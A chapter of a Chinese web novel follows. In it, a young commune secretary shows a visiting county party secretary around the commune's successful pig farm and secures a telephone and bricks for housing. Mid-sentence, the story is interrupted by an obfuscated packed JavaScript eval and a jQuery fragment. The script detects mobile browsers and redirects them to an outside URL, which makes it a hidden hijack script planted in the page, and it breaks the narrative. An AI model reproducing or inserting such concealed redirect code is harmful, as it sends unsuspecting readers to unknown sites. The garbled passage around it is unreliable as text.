24. 【我在六零做村官】二十四^^……
作品:《一篇事业流快穿文》 县里这次突如其来的下访,就连荀约都没收到消息。
她早晨忙着去探望队里一些房子被大雪压塌的社员,回来后前脚刚在办公室坐定,就听见外头传来一阵不同寻常的喧哗。
崔晓燕急匆匆推门进来,脸上带着几分惊讶,“书记,县里领导来了,车已经到公社门口了,说是……突击检查。”
她心中微怔,忙放下手中的文件,迎了出去。
红旗公社这两年的变化有目共睹,不说别的,光是去年一年赚到的钱,就能顶其他两个公社。
去年年底张书记去开大会,被领导夸了又夸,回到公社脸上的笑都没停下来过。
要是因为这个,县里来看看倒是正常。
——县里领导下访的动静并不小,其他几个公社书记也跟着跑来参观。
看见红旗公社的石灰路,大家震惊得无以复加。
不是说他们的养猪场才建了两年?怎么就有钱修石灰路?
再看那伫立在镇中央的公社政府,红砖绿瓦,又干净又板正。
大家不禁去瞧老书记——这红旗公社翻新了政府,瞧着多舒坦,县里能不能也帮他们一把?
老书记却没看见他们希冀的眼神,而是上下打量周围的设施。
几个公社书记私底下说悄悄话。
“这红旗公社养猪确实赚钱,这街道,多敞亮。”
“县里私底下肯定出钱了,不然这红旗公社咋变化这么快。”
“这倒也有可能,从前这边是最穷的,娶媳妇找女婿都不乐意往这边找,结果一转眼把我们都比下去了。”
他们倒不是小心眼儿,只是实在不相信红旗公社只凭自己的能力,就有了如今翻天覆地的变化。
同样都是县底下的公社,怎么他们就不行?
大家都是为了社员,眼看着红旗公社崛起,可他们却还像以前那样一成不变,这些做干部的心里也着急。
“老张今年退休了吧?听说新上来的是个刚从首都大学毕业没几年的年轻人。”
“刚大学毕业,那才多大?老张怎么敢同意的?”
“是啊,就算这同志脑子再好,文化再高,可没有经验,那就是拿社员们当过家家。”
和红旗公社打过几次交道的红星公社书记忍不住道:“咱们不要瞧不起年轻人,这养猪场可就是人家亲手建起来的,修路、建房子,全都是一手操办,咱们这些人年纪是大了点,但要说能力……我看是比不过她。”
“养猪场真是那个小年轻建起来的?”
“我们红星公社和他们紧挨着,打从前年开始,那边就一直在搞出大动静,是不是那小年轻弄的,我能不知道?”
那红旗公社的社员整日念叨着他们的贺书记,贺书记长贺书记短。
贺书记开了个特长班,贺书记带大家赚钱。
贺书记送社员去省里学养殖技术,回来就见建了养猪场。
贺书记贺书记贺书记……
连带着他们公社的社员都开始把这个小年轻挂在嘴边了。
那阵子一见到他们,就凑上来问能不能像隔壁公社那样也开一家工厂,哪怕养不起那么多猪,养个十几二十头也行。
买不起猪,不敢承担风险,学人家养鱼也行。
再不济,多种点油料,拿去红旗公社换成油,让社员们偶尔见见油腥也可以啊。
要是这还不行,那他们这公社干部做得也太失败了。
这可真是苦了红星公社的干部们。
谁不想带领社员脱贫致富?
谁不想让村里人过上好日子?
他们也想着改变,但结果却微乎其微。
步子要是迈得大一点,又总是担心承担不了失败的后果。
红星公社书记叹了一口气,果然,主席说的没错,未来的世界是这些孩子们的。
即便再怎么否认也没有办法,他们确确实实已经老了,只想着固守成规,完全失去了年轻人那一股闯劲儿。
另一边,荀约快步迎出公社大门。
“书记。”
身材瘦削,头发花白的县委书记正在打量着这红旗公社,见了她,倒是颇为和气的笑笑。
“你们这红旗公社,弄得倒是有模有样。”
荀约今年去县里开会时,见过几次这位老书记。
老人曾经在部队做了十几年的文职工作,作风严厉,为人耿直。
所以姜台县虽然穷,却从没出现过什么恶劣事迹。
老书记打眼一瞧,便瞅见围在公社大门外的一群人,“这是做什么?”
“公社打算办个夜校,只教一些小学初中的知识,这些都是来报名的社员。”
这乡下竟然还有上赶着去学习的社员?
老书记倒是挺开心,“没想到咱们底下的公社竟然还有这么浓厚的学习氛围,要不然怎么就你们能把猪养得那么好呢。”
他又道:“我这次来,主要是为了看看你们红旗公社的养猪场,据说你们为了养猪可费了不小的功夫。”
即便他不说,荀约也大致猜到了领导来公社的主要目的,或者说,今年所有外来人员都是奔着公社养猪场去的。
这还得多谢那两位省城来的记者,她原本以为上个市里的报纸就不错了,却低估了如今百废待兴的国家对一切积极发展的重视。
省城的报纸一刊登,就有首都日报的编辑打来电话询问,甚至还不远千里亲自跑了一趟。
打从那之后,红旗公社隔三差五就有跑来学习的养殖人员。
这年头出行不方便,也难为他们愿意跋山涉水来这么一个犄角旮旯里的小公社参观。
荀约也不含糊,干脆直接带着众人前往养猪场。
还没走到,老书记就瞧见远处那一片崭新的厂区,还有厂区内穿着统一制服的工人们。
“你们这养猪场建得可真不错。”
一起来的县养猪场场长酸溜溜道:“何止是不错,咱们县里都还没全都翻盖成砖瓦房,红旗公社的猪就已经住上了。”
荀约也不恼,“这猪可是公社的命根子,稍有不注意生个小病,一窝的猪都没了,不好好照顾怎么行?”
“……这照顾猪和房子有什么关系?”
老书记倒是笑了,“咱县里要是能养出上首都日报的猪,别说只是几间砖房,要什么咱就给什么。”
县养猪场场长张了张
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933479|192185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴,又闭上了。
说话间,厂区的大门已经近在咫尺。
因为是午饭时间,整个厂区都能闻到一股诱人的饭香。
公社不缺油,食堂炒菜也舍得放,有不少家住在附近的工人打了饭菜回去吃,顺带也给孩子老人加加餐。
见到荀约,大家纷纷热情地过来打招呼。
老书记心中暗暗点头。
没想到这小贺不仅在工作上有能力,在社员之间也颇有人气。
做干部的,能够得到社员这样的支持,实在是莫大的荣耀。
他道:“我记得去年年底老张到县里开会的时候,说过你们公社的养猪场还只有二三十个工人,这还不到一年时间,就把场子做这么大,你们可不要太冒进,要想好承担的后果。”
毕竟他们是集体单位,要是出现什么差错,影响的是国家的形象。
这点事情荀约自然懂。
其实目前养猪场的发展,已经比她计划中要慢了不少,但在老书记等人看来,红旗公社的发展还是太快、太迅速,要是这时候出了问题,毁的可是整个公社。
这是个从零开始的时代,大家都要摸着石头过河,力求稳妥。
而他们红旗公社如今却成了被大家摸索的那块石头。
他们要是发展得好,自然会带动后面的队伍。
但要是发展得不好,承担的风险同样更高。
压力和风险相伴,大家都不想做第一个过河的人,可偏偏必须有人去做。
这也是老书记佩服这个小年轻的原因。
他年轻的时候正好赶上战乱,战友们为了后方的家人,也为了岌岌可危的国家,不得不抛弃胆怯,选择抗争。
年轻时同样是摸着石头过河,时刻把脑袋拴在裤腰上,可偏偏上了年纪之后,人还是那个人,胆子却小了不少。
作为领导,他当然知道要求稳,但一味地求稳又能带来些什么?
总有人冲在前面,但他已经不敢成为这个人了。
他叹了口气,问:“公社现在有没有需要县里帮扶的地方?”
荀约想了想,“咱们红旗公社养猪场进展得挺顺利,几个比较落后的大队,现如今也慢慢改善了,唯一不方便的就是公社没有传讯设备,有个什么事都来不及说。”
老书记大手一挥,“给你们安个电话——这种小事用不着特地说,说点其他的。”
记者的相机立刻朝向他,镜头里的老书记大义凛然,这一幕实在让人感动。
看来这位一把手确实想要出点血了。
荀约干脆也不客气,直接道:“社员们住的房子还是建国前盖的,有些已经老得不怎么能住人了,公社打算给大家修修房子,但自己烧的砖还是比不上县里砖窑场……咱们也不占公家的便宜,给打个折就行。”
其他几个公社书记顿时一惊。
嚯——他们社员才刚吃饱饭呢,这红旗公社就要给社员们修砖房了,这得花多少钱啊?
县里指定不会答应。
“打什么折,要砖?需要多少就去县里拉多少。”
却见老书记脸色丝毫不变,语气镇定,“只要不浪费,县里绝对……支持你们!”

